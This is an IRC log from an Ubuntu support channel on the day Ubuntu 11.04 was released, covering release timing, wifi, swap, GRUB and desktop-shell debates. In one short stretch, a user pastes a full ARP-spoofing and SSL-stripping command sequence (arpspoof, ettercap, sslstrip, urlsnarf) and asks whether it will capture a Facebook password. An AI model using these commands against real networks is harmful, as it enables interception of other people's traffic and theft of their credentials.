[09:16] <JR0cket1> There havent been many updates in the last 24 hours - only the timezone package - so I guess I am now running 11.04
[09:16] <DamienCassou> ManDay: latest daily are iso files that are created every day
[09:16] <ManDay> DamienCassou: from vcs?
[09:16] <mick_laptop> i tried a few things like an entry in .xsessionrc in /etc/skel
[09:16] <guest345345> Yeah from VCS
[09:17] <mick_laptop> so far nothing :(
[09:17] <DamienCassou> ManDay: what is VCS ?
[09:17] <ManDay> something like svn cvs or git
[09:17] <guest345345> Im assuming he means Version Control
[09:17] <ManDay> versioning control
[09:17] <guest345345> all packaged are managed by LP/BZR
[09:17] <vadviktor> Version Control System
[09:17] <guest345345> so yes...its from VCS
[09:17] <ManDay> ah well bzr
[09:17] <ManDay> i forgot :P
[09:17] <MaRk-I> mick_laptop: System > Preferences > Startup Applications
[09:17] <DamienCassou> guest345345: that was also my guess, but didn't find the link
[09:19] <guest345345> How many people are using Emapthy for IRC here?
[09:19] <Manohar> Hello
[09:19] <celthunder> guest345345: hopefully 0
[09:19] <guest345345> lol
[09:19] <mick_laptop> MaRk-I: i'm working on a remixed cd
[09:19] <guest345345> well I am
[09:19] <Manohar> do someone know how to get 11.04 final release?
[09:19] <guest345345> It sucks but I loe the integration
[09:19] <Zavior> Guess I'll give this minimal CD install a shot
[09:19] <Nelval> Hi
[09:19] <guest345345> love*
[09:19] <dreinull_> wheres the place to look for the release?
[09:19] <mick_laptop> so i'm dealing w/ casper directly
[09:19] <MaRk-I> mick_laptop: ah no idea then
[09:20] <guest345345> Anyone know how to hack Empathy to support SASL auth?
[09:20] <vibhav> I hate Samoa!
[09:20] <amphibgiraffe> Manohar: Wait.
[09:21]  * kichawa are waiting
[09:21]  * vibhav is waiting
[09:21]  * vibhav is waiting LIKE MAD!!
[09:22] <Manohar> I found this: http://cdimage.ubuntu.com/daily-live/current/
[09:22] <newbie28> anyone know anything about getting wifi to work on 10.10
[09:22] <GReeNtooTH> Will these commands get me a facebook password?
[09:22] <DamienCassou> Manohar: this is what I would use
[09:22] <celthunder> newbie28: what's your wifi chipset
[09:22] <GReeNtooTH> echo "1" > /proc/sys/net/ipv4/ip_forward
[09:22] <Manohar> http://cdimage.ubuntu.com/daily-live/current/
[09:22] <Manohar> is it the final release?
[09:22] <vibhav> Is the Oversized CD Bug fixed????
[09:23] <soreau> sobersabre: Ok I found it
[09:23] <cgq> it's the first i use ubuntu
[09:23] <vibhav> Manohar : No its the daily build
[09:23] <GReeNtooTH> iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 8080 -j REDIRECT --to-port 8080
[09:23] <pidh> i ubuntu in a virtual box - VBoxGuestAdditions is installed but still the max resolution i can select is 800x600
[09:23] <mick_laptop> what does "source" do? (no manpage), I know it doesn't execute a file... but something like that?
[09:23] <JR0cket1> @vibhav - installing from a USB stick is much faster than CD..
[09:23] <vibhav> @JE0cket1 I know
[09:23] <pidh> any suggestiongs how to increase it?
[09:23] <DamienCassou> mick_laptop: help source
[09:23] <amphibgiraffe> mick_laptop: In bash?
[09:23] <GReeNtooTH> arpspoof -i wlan0 -t (Vic IP) (DG)
[09:23] <Manohar> what's the difference? when will the final be released?
[09:24] <GReeNtooTH> ettercap -TqM ARP:REMOTE // // -i wlan0
[09:24] <soreau> sobersabre: ls /sys/class/drm/ and use these to make a kernel line video=VGA-1:1024x768 for example
[09:24] <GReeNtooTH> sslstrip -a -l 8080
[09:24] <cgq> i can't hear vioce.anybody help me please
[09:24] <andeeeuk> Manohar: the final release is out today
[09:24] <GReeNtooTH> urlsnarf -i wlan0 |cut -d\" -f4
[09:24] <Incarus6> pidh, interesting, but i think it isnt related with vboxguestadditions. can you poste your Xorg.0.log client file
[09:25] <andeeeuk> Manohar: though on the website it is still seen as in development
[09:25] <llutz_> GReeNtooTH: take it to #1338-hackers please, its offtopic here
[09:25] <pdg1> GReeNtooTH : why don't you use something like pastebin
[09:25] <pdg1> that 2
[09:25] <GReeNtooTH> ok llutz is it on here
[09:26] <newbie28> celthunder : chip set = AR9285
[09:26] <key213> so the new ubu comes out ..?
[09:26] <guest345345> everyone needs to put their epeen back in the trouders now
[09:26] <Manohar> andeeeuk: do you know where to find the final relesae?
[09:26] <guest345345> trousers(/pants)*
[09:26] <alexander__> Help! No Ubuntu 11.04 final
[09:26] <alexander__> waiting it for 2 months
[09:26] <guest345345> Solution: WAIT!
[09:26] <vibhav> <Manohar> IF you are Indian , it will be there by evening.....
[09:26] <MACscr> anyone know how to upgrade chromium on ubuntu 10.10 to chromium 11? I would think there would be a ppa for this and im not sure why the current ppa hasnt been upgraded yet
[09:26] <celthunder> newbie28: ok
[09:27] <guest345345> Canonical HQ is GMT+1 now
[09:27] <vadviktor> Anyone can confirm that the basic 11.04 will be good for a Asus eeepc?
[09:27] <guest345345> they have barely woken up yet
[09:27] <Manohar> I'm indian but live in switzerland
[09:27] <Incarus6> alexander__, mention, that ubuntu will be released during the day
[09:27] <andeeeuk> Manohar: I am not sure as the website says it is still in development so i think we will need to wait until they have uploaded the new 11.04
[09:27] <celthunder> newbie28: ath9k module should work fine
[09:27] <guest345345> vadviktor, yes....it will be amazing
[09:27] <Incarus6> andeeeuk, correct, will be released today
[09:27] <Manohar> yep, the only solution is to wait then..
[09:27] <newbie28> celthunder: i keep getting "bad password"
[09:28] <amphibgiraffe> vadviktor: They've merged netbook remix and desktop, so one assumes so
[09:28] <vibhav> <MACscr> If you are in hurry, the exact same packages are already available in the Stable Channel PPA as usual, for Hardy, Karmic, Lucid, Maverick and Natty. You can safely subscribe to this PPA and later receive the official builds with your regular system upgrades.
[09:28] <mah454> when ubuntu out new version ?
[09:28] <Pr070cal> whens natty released ?
[09:28] <mah454> when ubuntu out new version ?
[09:28] <pidh> Incarus6: http://pastie.org/1842573 - is it the right log
[09:28] <celthunder> newbie28: ? so type in the right one
[09:28] <MACscr> vibhav: stable channel ppa?
[09:28] <newbie28> celthunder: lol it is the right one
[09:28] <guest345345> ATTENTION INPATIENT PEOPLE: The time at Canonical HQ is now 9:28.......give them chance to wake up and get to the office before you complain or ask where 11.04 is!!
[09:29] <andeeeuk> Incarus6, thanks just wanted to make sure as I was going to update this morning though we will have to wait some time for the release
[09:29] <vadviktor> amphibgiraffe, guest345345: thanks! :)
[09:29] <alexander__> Incarus6: When? I'm located in Italy (10:29 AM)
[09:29] <Incarus6> MACscr, chromium in the repos is a modified version of the original google sources. better wait for updates from ubuntu, they modified some privacy things
[09:29] <newbie28> celthunder: im using Wicd network mang.
[09:29] <celthunder> newbie28: did you pick the right network security type
[09:29] <guest345345> Incarus6: where have you read that?
[09:30] <guest345345> Incarus6: is that just hearsay or does it have some basis?
[09:30] <newbie28> celthunder: yup and have triple checked on both ends
[09:30] <Rehan> hi guys, i had a question. I'm running 10.10 right now and am wondering if there's any difference in system stability whether I install 11.04 brand new or just do an upgrade
[09:30] <newbie28> celthunder: i tried changing to a new password as well still did the same thing
[09:30] <guest345345> Technically you can dist-upgrade but it's usually better and cleaner to fresh install
[09:30] <guest345345> @Rehan
[09:31] <Aleksander> Hello :) How much time is it till the 11.04?
[09:31] <guest345345> A few hours
[09:31] <Incarus6> alexander__, usually I (from Germany) can upgrade around afternoon
[09:31] <celthunder> newbie28: do you have wpa_supplicant installed (you should but...never hurts to double check)
[09:31] <vadviktor> If I use the update manager as "update-manager -d" I can upgrade to 11.04. Is this correct? Should I continue as it is the stable one?
[09:31] <MACscr> Incarus6: but isnt 11 the current stable release?
[09:31] <Aleksander> thanks
[09:31] <guest345345> vadviktor: yes...that's right....but not yet
[09:31] <alexander__> Incarus6: I want clean install
[09:31] <Incarus6> guest345345, it is mentioned in the user guide
[09:31] <Rehan> guest345345: thanks...is there a way to backup the current system i have?
[09:31] <guest345345> vadviktor: or you can do: sudo apt-get update && sudo apt-get dist-upgrade
[09:32] <newbie28> celthunder:  yup its there
[09:32] <vadviktor> guest345345: what do you been by not yet? :)
[09:32] <guest345345> Rehan: What do you need to back-up?
[09:32] <llutz_> guest345345: that won't change the version unless you changed your sources.list(s)
[09:32] <Incarus6> MACscr, it is, but usually you do not get the never version of a software, you get security updates (its like FF4, which wasnt released in 10.10)
[09:32] <Nelval> it seems that today it is the 28th of April 2011
[09:32] <guest345345> Rehan: personally, I have a script for configuting every new system in Install automatically
[09:32] <Rehan> guest345345: i don't know, i was wondering if there's a way i could just make a snapshot of my current system in case the new version doesn't work for me
[09:33] <Incarus6> alexander__, same, they are going to upload it around that time
[09:33] <guest345345> Rehan: You can just copy your /home directory but it's not very clean
[09:33] <MACscr> Incarus6: what is this, Centos? =P
[09:33] <guest345345> Rehan: I see no reason why it wouldn't work.....I've been testing since alpha and it's very stable now
[09:33] <Incarus6> MACsrc, we are both talking about ubuntu, right?
[09:33] <MACscr> Incarus6: yes, i was making a joke about updates
[09:34] <JR0cket1> Rehan: try it out using the Live image first and see if you like it and it all works...
[09:34] <Rehan> guest345345: well 10.10 is considered stable but it was a pain in the ass to get working properly on my sony laptop
[09:34] <vadviktor> guest345345: I see now, it is still the beta as stated in it's note
[09:34] <guest345345> Rehan: yeah, what JR0cket1 said
[09:34] <Incarus6> MACsrc, im not sure if chromium 11 will be released in 11.04
[09:34] <Rehan> JR0cket1: the liveCD doesn't work well for me, the 10.10 liveCD made it seem as if ubuntu wouldn't run on my machine at all
[09:34] <newbie28> celthunder:  any ideas on how to fix it?
[09:35] <elzoog> Any idea how many hours we have until they release 11.04?
[09:35] <guest345345> Rehan: that is probably because of restricted drivers....you can still install them and try to in the Live environment
[09:35] <smw> elzoog, "Ubuntu 11.04 release is scheduled somewhere in the time period when it's April 28th somewhere in the world, not at a specific time."
[09:35] <guest345345> Rehan: and 11.04 has improved a fair bit on the drivers front
[09:35] <Rehan> JR0cket1, guest345345: i had to change video, network and other drivers just to get it to work. I didn't know it was possible to install drivers with a LiveCD?
[09:35] <elzoog> Well, where I am located, it's 5:35 in the afternoon on the 28th
[09:36] <Incarus6> pidh, it could have something to do with your vbox settings
[09:36] <vadviktor> Another Asus eepc question: which architecture image should I get, the x86 or the x64 one?
[09:36] <guest345345> elzoog: Unluck....because the work day has barely started at Canonical HQ
[09:36] <guest345345> Unlucky*
[09:36] <popey> vadviktor: depends which eee pc
[09:36] <Rehan> elzoog: what time zone are you in
[09:36] <msb___> i am going to install the daily built (26 April). cannot see them adding too much more release
[09:36] <matto1990> anyone know what ATI video support is like in natty?
[09:36] <elzoog> I live in Korea
[09:36] <Nelval> elzoog, aw
[09:36] <andeeeuk> yay, its finally been released on the website :)
[09:36] <guest345345> vadviktor: if you're on an atom....x86
[09:36] <JR0cket1> Rehan: If you need to add a lot of packages, install Ubuntu onto a usb stick rather than your hard drive and then you can install what you want without issue
[09:36] <Incarus6> pidh, did you modify your xorg.conf file?
[09:36] <Nelval> 10:36 AM in France, it's so long
[09:37] <Rehan> elzoog: GMT+ ?
[09:37] <andeeeuk> good stuff:)
[09:37] <Rehan> anyone know what time GMT the new version is coming out?
[09:37] <guest345345> http://www.ubuntu.com/
[09:37] <Incarus6> andeeeuk, sure?
[09:37] <vadviktor> guest345345: thanks, that is the info I was not aware of
[09:37] <DJones> Rehan: No set time, just anytime in the next 15 hours
[09:37] <asdfppf> yeah, gmt time for ubuntu 11.04 would be nice
[09:37] <Rehan> oh i see, thanks Djones
[09:38] <mavis> 英语不行，别鄙视
[09:38] <elzoog> I made the mistake of installing Ubuntu Studio on my desktop.  It's buggy.  But I am waiting for 11.04 instead of installing the normal 10.10
[09:38] <Incarus6> !ch | mavis
[09:38] <ubottu> mavis: Das Schweizer Team finden sie unter #ubuntu-ch, deutschsprachigen Support bekommen sie aber in #ubuntu-de, #kubuntu-de oder #edubuntu-de. Aus regionalen Gründen ist im Schweizer Channel nur Englisch erlaubt. Geben sie einfach /join #ubuntu-at ein! Danke für ihr Verständnis.
[09:38] <Incarus6> damn
[09:38] <JR0cket1> Rehan: a good 4 GB Usb memory still will run Ubuntu 11.04 well for testing your hardware and save you over-writing you current system
[09:38] <pidh> Incarus6: i enabled the 3d capabilities will disable them, and i did try to add a new video mode before installing the guest addon and because of that it may look different
[09:39] <guest345345> You can just dual boot to try it if you are worried a LiveUSB will skew the experience too much
[09:39] <Rehan> JR0cket1: oh ok, thats a good idea. I tried creating a bootable usb for 10.10 but kept getting "boot error' on startup
[09:39] <guest345345> and then overwrite both when you're ready to upgrade for real
[09:39] <andeeeuk> no, not yet. If it is not released yet we will wait and waiting is a good thing isnt it so we know it is all good
[09:39] <mavis> learn
[09:39] <elzoog> JR0cket1:  I have 11.04 on one of my sticks.  If I install stuff on it, and then install it on my HD, will it also install the added software?
[09:39] <newbie28> anyone know how to get wifi working on 10.10 i keep getting "bad password" im using Wicd Manager
[09:40] <Incarus6> pidh, did you correctly set your corg.conf file?
[09:40] <soreau> newbie28: What wifi chip is it?
[09:40] <newbie28> soreau : chip set = AR9285
[09:40] <soreau> newbie28: What encryption type?
[09:40] <guest345345> fire up "jockey-gtk" and see if it's offering any resitrcted drivers
[09:40] <Incarus6> MACsrc, https://launchpad.net/~chromium-daily/+archive/stable
[09:40] <newbie28> soreau : wpa
[09:41] <soreau> newbie28: Is there any reason you arent using nm-applet?
[09:41] <newbie28> soreau : dno what that is im new to this
[09:41] <soreau> newbie28: Which version of ubuntu?
[09:41] <newbie28> soreau : 10.10
[09:41] <matto1990> time of release is after noon GMT+1 according to a canonical employee: http://bettween.com/matto1990/yaili
[09:42] <soreau> newbie28: nm-applet is the default network management applet that appears in gnome-panel
[09:42] <guest345345> matto1990: yeah that sounds about same as last time
[09:42] <Rehan> could someone explain to a complete newbie like me whether I should use ubuntu or kubuntu? I don't get the difference really...
[09:42] <guest345345> just after they eat lunch lol
[09:42] <alexander__> Incarus6: Thanks!
[09:42] <guest345345> Rehan: Use Ubuntu
[09:43] <newbie28> soreau : ohh ya i started with that and it wouldnt even connect to the network so ive googled it and did some whole thing that got me to the "Wicd" but now it says "bad password" each time
[09:43] <jatt> use kubuntu
[09:43] <soreau> Rehan: ubuntu has gnome by default and kubuntu has kde by default
[09:43] <guest345345> Rehan: Kubuntu is horrifically ugly
[09:43] <egolost> how do i add an custom installed (not using apitiude) application to unity sidebar?
[09:43] <jatt> at least it doesn't run unity per default
[09:43] <velcroshooz> Rehan, personal preference. ubuntu uses the gnome desktop enviroment by default, kubuntu uses KDE.
[09:43] <jatt> xubuntu
[09:43] <Incarus6> Rehan, Kubuntu is unbuntu with the more like windows looking KDE desktop. Ubuntu uses gnome
[09:43] <pidh> Incarus6: there is no corg.conf in /etc/X11
[09:43] <soreau> Rehan: The official ubuntu distro uses gnome, if that tells you anything..
[09:44] <j0shdrunk0nwar> Rehan: try both with live cd
[09:44] <sobersabre> vib	when you write - I need to hunt your messages /window list
[09:44] <Incarus6> pidh, I know, you have to create one
[09:44] <Zavior> yay I think I'm getting Ubuntu to finally install :) !
[09:44] <guest345345> Yeah...KDE stack is built on better technology......but it's naming conventions are annoying and it's full of BLOAT
[09:44] <JR0cket1> elzoog: If you install Ubuntu on a Usb stick, then it wont have the installer packages - you could add them, but I personally would do a reinstall and perhaps grab the package list off the usb stick and take a copy of everything in /etc
[09:44] <stefan__1> egolost: Start Application --> right click and select, that the application always show up
[09:44] <Zahrada> At least till the release of 11.04 later this day, it uses gnome :P
[09:44] <Zavior> Anyone know the version of python that comes with Ubuntu, or actually...if python does come included?
[09:44] <egolost> stefan__1: but how do i get my application to show up in start applications?
[09:45] <newbie28> soreau : should i switch back?? if so how the heck do i do that lol
[09:45] <Zavior> 10.10
[09:45] <guest345345> Zavior: 2.7
[09:45] <Zavior> thanks
[09:45] <soreau> newbie28: I guess you would have to undo whatever you did to switch in the first place
[09:45] <stefan__1> egolost: You mean at the unity applications menu?
[09:45] <Rehan> if I didn't create a swap partition when i installed 10.10 (i have two partitions on the laptop drive but one is for win7), does that mean I can't hibernate the system?
[09:45] <guest345345> Zavior: np
[09:45] <egolost> stefan__1: YES
[09:45] <Bilz> hello, im trying to follow this to set up vnc: https://help.ubuntu.com/community/VNC#Guide%20to%20example%20scenarios and I'm currently on a windows machine using putty. I have sshed to my home computer but I don't know how to get the public key which I apparently need to add to a file
[09:45] <stefan__1> echolost: alternativly try to start the app over a terminal
[09:45] <velcroshooz> Rehan, yes.
[09:46] <Rehan> velcroshooz: oh i see. I should still be able to suspend though right?
[09:46] <guest345345> Zavior: actually I just checked....11.04 is running 2.7.1
[09:46] <pidh> Incarus6: any pointer to a guide how to create it - i am new to linux and have no coding skills.
[09:46] <stefan__1> egolost: otherwise you can start the menu ?reorganization? with a command, which I actually don't know --> if you need the app in the unity menu
[09:47] <tomtit> morning all
[09:47] <kichawa> \o
[09:47] <velcroshooz> Rehan, as i understand it, i believe so. hibernate is going to require a swap partition equal to or possible a bit more than your ram size.
[09:48] <Rehan> velcroshooz: ok cool
[09:48] <guest345345> velcroshooz: that's not necessarily true....it only needs to be as big as resident memory...not total memory
[09:48] <mavis> anybody here?
[09:48] <guest345345> or the average you generally use anyway
[09:48] <Rehan> trying to figure out why no matter what i try my laptop won't suspend/standby. Well actually it will suspend but when i try to turn it back on it boots up just like a cold boot
[09:49] <guest345345> Rehan: a default install allocates 1:1 memory:swap
[09:49] <guest345345> so unless you used custom partitions it should be enough
[09:49] <guest345345> or unless you added more memory since
[09:49] <Rehan> guest345345: i already had a 10gb partition made for ubuntu and i just installed ubuntu onto that.
[09:50] <arnauddebordeaux> clear
[09:50] <guest345345> oh...well that is not default then
[09:50] <Zavior> any down sides to encrypting the home directory?
[09:50] <arnauddebordeaux> hello all!
[09:50] <velcroshooz> guest345345, as your use can fluctuate though i think most tutorials suggest a size equal to your ram to be on the safe side.
[09:50] <arnauddebordeaux> need emergecny help!
[09:50] <guest345345> velcroshooz: yeah....that is optimal if you plan to hibernate
[09:50] <green_> when is the new release scheduled to happen?
[09:50] <guest345345> velcroshooz: but not strictly required most of the time
[09:50] <mythri> I need help. Using Ubuntu 10.10. I have recovered my files through Windows and have only retrieved a single file Root.disk. Can anyone help?
[09:51] <guest345345> tutorials are generally aimed at people who prefer not to think much
[09:51] <soreau> arnauddebordeaux: Dial 911 or whatever the emergency hotline is in your country
[09:51] <mavis> beiju
[09:51] <arnauddebordeaux> sorry, soreau?
[09:51] <guest345345> and the easiest way to encapsulate anyone is to just play safe
[09:51] <guest345345> everyone*
[09:51] <Incarus6> pidh, sry, I was afk. try to change resolution with "xrandr --output VGA1 --mode 1024x768" or similar https://wiki.ubuntu.com/X/Config/Resolution
[09:51] <Macer> uhm
[09:51] <Rehan> is making a win7 partition smaller to create space for a new partition (for ubuntu swap) considered a workaround or is it as good as setting up a partition on a clean drive from scratch?
[09:51] <arnauddebordeaux> i've tried all i know
[09:51] <mavis> jiu
[09:52] <guest345345> Rehan: do you really need Win7 for something?
[09:52] <jatt> games
[09:52] <arnauddebordeaux> does anyone konw how to use the grub rescue?
[09:52] <Rehan> guest345345: yeah its way more reliable than ubuntu
[09:52] <Macer> arnauddebordeaux: might help if you said what the problem was
[09:52] <Incarus6> Rehan, Is it as good as from a clean drive
[09:52] <mavis> jiu meiyou huishuo zhongwen de ren zai ?
[09:52] <soreau> ! grub2 | arnauddebordeaux
[09:52] <ubottu> arnauddebordeaux: GRUB2 is the default Ubuntu boot manager since 9.10 (Karmic). Lost GRUB after installing Windows? See https://help.ubuntu.com/community/RestoreGrub - For more information and troubleshooting for GRUB2 please refer to https://help.ubuntu.com/community/Grub2 - See !grub1 for releases before Karmic (9.10)
[09:52] <guest345345> Rehan: 10GB is more than enough for an average ubuntu install but it may not give it enough room to allocate the recommended swap partition
[09:52] <guest345345> Rehan: and that may be your problem
[09:52] <Rehan> guest345345: i see, thank you
[09:53] <mythri> I need help. Using Ubuntu 10.10. I have recovered my files through Windows and have only retrieved a single file Root.disk. Can anyone help?
[09:53] <Rehan> guest345345: when you say "allocate the recommended swap partition" do you mean a third partition? I have a 500 GB drive and made a 490 GB NTFS win7 partition and a 10 GB ext4 ubuntu partition. Can the swap file be put on that same 10gb ext4 partition?
[09:53] <walent> hello
[09:54] <arnauddebordeaux> but there is no tuto for how to use this grub rescue, and I don't have any other solution...
[09:54] <arnauddebordeaux> so
[09:54] <arnauddebordeaux> my problem
[09:54] <walent> what is name of ubuntu release party?
[09:54] <nick-nack> 11.04 available for download yet?
[09:54] <walent> channel
[09:54] <guest345345> Rehan: yes...swap must be seperate......the installer allocates it automatically
[09:54] <shomon> is there a curses alternative to diffusion? it just had my load average up really high... no idea what it was doing
[09:54] <Incarus6> nick-nack, No
[09:54] <mavis> haishi jiang zhongwen ba
[09:54] <Marco1> how long till 11.04 realease?
[09:54] <arnauddebordeaux> i have a computer whose CD reader doesn't work
[09:54] <guest345345> Rehan: for a defualt full-disk install it will generally be 1:1 with your memory
[09:54] <walent> is there ubuntu release pary?
[09:54] <mythri> Is root.disk enough for recovering all my documents from ubuntu 10.10?
[09:54] <Zavior> floodbot lol?
[09:54] <guest345345> Rehan: but if you only give it 10GB disk to work with...maybe it will allocate less
[09:54] <Incarus6> Marco1, It will be released in the next hours. There is no exact release time
[09:55] <mythri> Is root.disk enough for recovering all my documents from ubuntu 10.10?
[09:55] <guest345345> Rehan: I'm not sure exactly because I usually do custom and allocate swap myself
[09:55] <Rehan> guest345345: will it create a new partition automatically? sorry i'm being unclear about it, trying to understand
[09:55] <botcity> !party
[09:55] <ubottu> Please remember that #ubuntu, #kubuntu, #xubuntu, and #edubuntu are support channels. To countdown to Natty release and then party once it happens, join #ubuntu-release-party - For in-person parties, see http://loco.ubuntu.com/events/global/744/detail/
[09:55] <Rehan> guest345345: oh ok
[09:55] <walent> join
[09:55] <guest345345> Rehan: yes, any install will allocate swap by default
[09:55] <mythri> Is root.disk enough for recovering all my documents from ubuntu 10.10?
[09:55] <guest345345> Rehan: the simple/default install will hide it from you but it will do it nonetheless
[09:55] <cfc_{Pawpad}> hello =3
[09:56] <Rehan> guest345345: oh ok
[09:56] <guest345345> Rehan: Windows and Mac to exactly the same too
[09:56] <guest345345> do*
[09:57] <Rehan> guest345345: oh ok. when i do fdisk -l i see an NTFS partition then an Extended and a third Linux one
[09:57] <cfc_{Pawpad}> anyone know if theres gonna be a release of Ubuntu server 11.04 anytime soon?
[09:57] <mythri> Is root.disk enough for recovering all my documents from ubuntu 10.10?
[09:57] <guest345345> Rehan: actually...perhaps Windows 7 only uses a "pagefile" by default....but it's recommended to have a seperate parition for Win7 just the same
[09:57] <Incarus6> cfc_{Pawpad}, it will be released today
[09:58] <cfc_{Pawpad}> cool
[09:58] <guest345345> Rehan: but Windows sucks of course....so I can understand why they don't follow best practices by default
[09:58] <Incarus6> mythri, can you explain what you exactly did?
[09:58] <cfc_{Pawpad}> cant wait =3
[09:58] <Macer> and i just finished installing 10.10 server :) go figure
[09:59] <cfc_{Pawpad}> Thanks
[09:59] <Zavior> Macer: I'm in the same boat :)
[09:59] <Macer> Zavior: upgrading the dist is easy enough
[09:59] <Macer> personally i would rather wait a month or so before i instealled 11.04
[09:59] <Zavior> I'm not to savy on linux :)
[09:59] <mythri> Incarus6, I used disk internals and recovered my root.disk from ubuntu through Windows xp
[09:59] <guest345345> Taking bets on release time.......my money is on 13:15 GMT
[10:00] <Macer> let them iron out theones they missed first :)
[10:00] <mythri> Incarus6, I used disk internals and recovered my root.disk from ubuntu through Windows xp
[10:00] <elzoog> Isn't ironing out the thorns what the beta versions are for?
[10:00] <Macer> but at least all you have to do is change your apt-sources and do a dist update and you're done
[10:00] <guest345345> Macer: I've been testing it for a while now....to be honest...it feels more stable that 10.10 by now
[10:01] <Macer> i just updated my lenny box to squeeze ... was amazingly simple
[10:01] <jatt> 11.04 will deliver beta software (unity) so better wait for a next release (if you use your machine for something productive)
[10:01] <Macer> guest345345: well. i am sure there is something messed up somewhere ;)
[10:01] <Incarus6> mythri, yes, I allready read that
[10:01] <elzoog> mythri:  Knoppix is a great live CD for fixing problems like that
[10:01] <Macer> unity?
[10:01] <guest345345> jatt: beta or not...it's still a huge improvement over gnome panel
[10:01] <mythri> What am I able to do with root.disk?
[10:02] <jatt> it isn't -> https://bugs.launchpad.net/unity/+bug/648180
[10:02] <mythri> Can I recover files?
[10:02] <ubottu> Ubuntu bug 648180 in unity (Ubuntu) "Unity sucks" [Undecided,Opinion]
[10:02] <velcroshooz> it is still possible to run without unity so there is no real reason not to upgrade.
[10:02] <mythri> Incarus6, What am I able to do with root.disk?
[10:02] <Macer> i use kubuntu for my desktops ;) if unity has something to do with xorg well.. i honestly only have my ubuntu fileserver
[10:02] <Macer> which is awesome ... sure feels good to no longer be using oi
[10:02] <guest345345> jatt: lol, that bug is just an subjective complaint
[10:02] <guest345345> jatt: can't please everyone
[10:03] <mythri> elzoog, I don't have such a Knoppix cd right now
[10:03] <guest345345> jatt: some people have an irrational aversion to change
[10:03] <jatt> nope the bug comments have a lot of valid points
[10:03] <Incarus6> mythri, I'm not sure about that, I think it recoverd the whole partition
[10:03] <guest345345> jatt: not really....it's all just heckling from the peanut gallery
[10:04] <Macer> http://lwn.net/Articles/387763/
[10:04] <mythri> Incarus6, how can I extract my essential documents from that?
[10:04] <Macer> that's unity?
[10:04] <Macer> looks like gnome with a giant menu on the left :)
[10:04] <mythri> Incarus6, is there anyway I can open root.disk and see the contents?
[10:04] <guest345345> Macer: no.....that's the old netbook edition
[10:04] <Rehan> is unity still kinda unpolished in its look?
[10:04] <Macer> oh
[10:04] <guest345345> Macer: that no longer exists
[10:04] <Incarus6> Macer, looks like gnome3
[10:04] <ChrisWilkinson> Do I install natty on my main pc today? Or do I wait a while?
[10:04] <elzoog> Some people have an irrational aversion to change.  And some people have an irrational fascination with change.  I remember a job interview where I asked them why they wanted to use technology X.  Their answer was the only reason they wanted to use X was because it was new
[10:04] <jatt> it's beta software
[10:04] <Macer> well.. let me look for a different screen shot
[10:05] <Incarus6> MAcer, guest345345: http://img26.imageshack.us/img26/4641/gnome3vx2.png
[10:05] <jatt> actually the idea was to include unity in gnome3 but gnome developers were against it, canonical was pissed off about it and decided to put it in his distribution anyway
[10:05] <nmvictor> elzoog: new is bundled with good,new and improved stuff.
[10:06] <guest345345> Macer: that looks just like a mockup from Gnome3
[10:06] <guest345345> but It doesn't look anything like it now
[10:06] <Rehan> Incarus6: wow gnome 3 looks nicer than unity
[10:06] <mythri> Incarus6, is there anyway I can open root.disk and see the contents?
[10:06] <nmvictor> Whats happening, isnt today
[10:06] <Zavior> Should desktop or netbook version be used on laptops?
[10:06] <guest345345> Gnome3 is effing awful
[10:07] <JR0cket1> Unity looks and works much better than Gnome 3 shell...
[10:07] <Rehan> mythri: this might help you: http://ext2read.blogspot.com/
[10:07] <jatt> gnome shell is a disgrace too
[10:07] <Macer> Incarus6: that can not be real haha
[10:07] <jatt> it doesn't look good on the gtk side, hopefully kde and xfce get better
[10:07] <Incarus6> mythri, check out http://technet.microsoft.com/en-us/sysinternals/bb545046 its not an ubuntu related question
[10:07] <guest345345> Unity may have a few flaws to iron out...but it's much faster and more usable thatn gnome3 shell
[10:08] <Macer> heh. sorry but i still believe kde has them all beat ;) but to each their own
[10:08] <Incarus6> Macer, http://www.gnome3.org/
[10:08] <JR0cket1> Zavior: there is no longer a different image for desktop and netbook - hence the name Unity :-)
[10:08] <nmvictor> Whats happening, isnt today 28^th April, or which time zone do canonical guys live in, ubuntu.com still promises Natty downloads from 28^th April, my update manager hasnt noticed any new distro, or am I the one in the wrong timezone?
[10:08] <guest345345> Macer: KDE but with a Unity-like shell would be perfect
[10:08] <guest345345> but KDE can never get usability right
[10:08] <jatt> gnome 3 disgrace -> http://lwn.net/Articles/433409/
[10:08] <guest345345> it's looks like Windows ....but worse
[10:08] <Incarus6> guest345345, I think unity needs open source graphic card drivers
[10:09] <rverrips> Hi Guys - Anyone know the time when 11.04 finalrelease will be available for  download from the website
[10:09] <Zavior> JR0cket1: as of what version
[10:09] <Macer> guest345345: i don't have a problem with kde ;) i think it's great
[10:09] <jatt> windows sucks but you cannot deny they have lots of experience in gui design/usability
[10:09] <JR0cket1> Zavior: as of 11.04
[10:09] <Macer> Incarus6: looks the same except they used a darker theme?
[10:09] <Zavior> Which isn't out yet? I'm on 10.10 :)
[10:09] <tuxx-> who needs fancy gui's, just use awesomewm :D
[10:09] <Rehan> http://www.gnome3.org/img/search-big.png that looks kinda like the unity screenshot
[10:09] <Macer> i was honestly never a big fan of gnome
[10:09] <shomon> anyone know of an alternative to diffusion that doesn't take up so much in system resources?
[10:09] <mythri> Incarus6, the root.disk I have got is from ubuntu.
[10:09] <Macer> i would rather use kde or fluxbox over gnome.. something about it never felt right
[10:09] <guest345345> Incarus6: not sure...I haven't looked into that......I know the Plymouth boot screen needs open source drivers because of Kernel modesetting
[10:10] <mythri> Incarus6, what is that link you gave me last for?
[10:10] <Incarus6> Macer, and the big menu on the left side of the screen
[10:10] <JR0cket1> Zavior: if you are on 10.10 I'd go with the desktop version
[10:10] <nmvictor> Hey guys, please help here. Has natty been released, or what is this talk on gnome3 vs Unity about, Am I behind something?
[10:10] <guest345345> Incarus6: but there is a non OpenGL version of Unity for people who can't use the 3d one
[10:10] <Incarus6> guest345345, plymouth is working for me. yeah I heard about unity 2D
[10:10] <JR0cket1> nmvictor: usual irc chatter, not missing much :-)
[10:10] <guest345345> Incarus6: it's packaged as unity-2d in the archives
[10:10] <Macer> no 3D? :)
[10:11] <Macer> is it 1990? heh
[10:11] <guest345345> Incarus6: written with Qt QML
[10:11] <Incarus6> Macer, E17 / DR17 is great too
[10:11]  * Macer goes to bust out the voodoo2s
[10:11] <nmvictor> JR0cket1: so natty aint released yet, so whats the countdown?
[10:11] <Al_nz1> is there a windows app to format drives to ext4?
